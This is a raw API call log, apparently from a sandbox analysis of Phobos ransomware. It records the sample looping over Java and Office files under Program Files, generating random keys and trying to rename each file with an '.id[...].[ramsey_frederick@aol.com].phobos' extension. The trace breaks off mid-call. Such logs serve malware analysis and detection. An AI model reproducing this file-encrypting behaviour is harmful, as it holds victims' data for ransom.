CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.352] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=188024) returned 1 [0125.352] CloseHandle (hObject=0x594) returned 1 [0125.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0125.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.352] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.353] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3860502) returned 1 [0125.353] CloseHandle (hObject=0x594) returned 1 [0125.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0125.353] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.353] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0 [0125.353] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.399] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=8286) returned 1 [0125.399] CloseHandle (hObject=0x594) returned 1 [0125.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0125.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.400] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.401] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=4054) returned 1 [0125.401] CloseHandle (hObject=0x594) returned 1 [0125.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0125.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.401] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.401] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1253) returned 1 [0125.401] CloseHandle (hObject=0x594) returned 1 [0125.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0125.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.402] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.402] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=114923) returned 1 [0125.402] CloseHandle (hObject=0x594) returned 1 [0125.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0125.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.402] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.403] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=2466) returned 1 [0125.403] CloseHandle (hObject=0x594) returned 1 [0125.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0125.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.403] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.404] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=36524) returned 1 [0125.404] CloseHandle (hObject=0x594) returned 1 [0125.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0125.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.404] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.404] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=98) returned 1 [0125.404] CloseHandle (hObject=0x594) returned 1 [0125.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0125.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.405] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.405] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3527) returned 1 [0125.405] CloseHandle (hObject=0x594) returned 1 [0125.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0125.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.405] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.406] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=0) returned 1 [0125.406] CloseHandle (hObject=0x594) returned 1 [0125.406] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.406] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=3026) returned 1 [0125.406] CloseHandle (hObject=0x594) returned 1 [0125.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0125.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.407] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.407] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1210) returned 1 [0125.407] CloseHandle (hObject=0x594) returned 1 [0125.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0125.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.407] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.408] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=8400) returned 1 [0125.408] CloseHandle (hObject=0x594) returned 1 [0125.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0125.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.408] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.408] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=40) returned 1 [0125.409] CloseHandle (hObject=0x594) returned 1 [0125.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0125.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.409] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.409] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=528) returned 1 [0125.409] CloseHandle (hObject=0x594) returned 1 [0125.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0125.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.413] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.414] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=27200) returned 1 [0125.414] CloseHandle (hObject=0x594) returned 1 [0125.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0125.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.415] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.418] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=18624) returned 1 [0125.418] CloseHandle (hObject=0x594) returned 1 [0125.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0125.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) 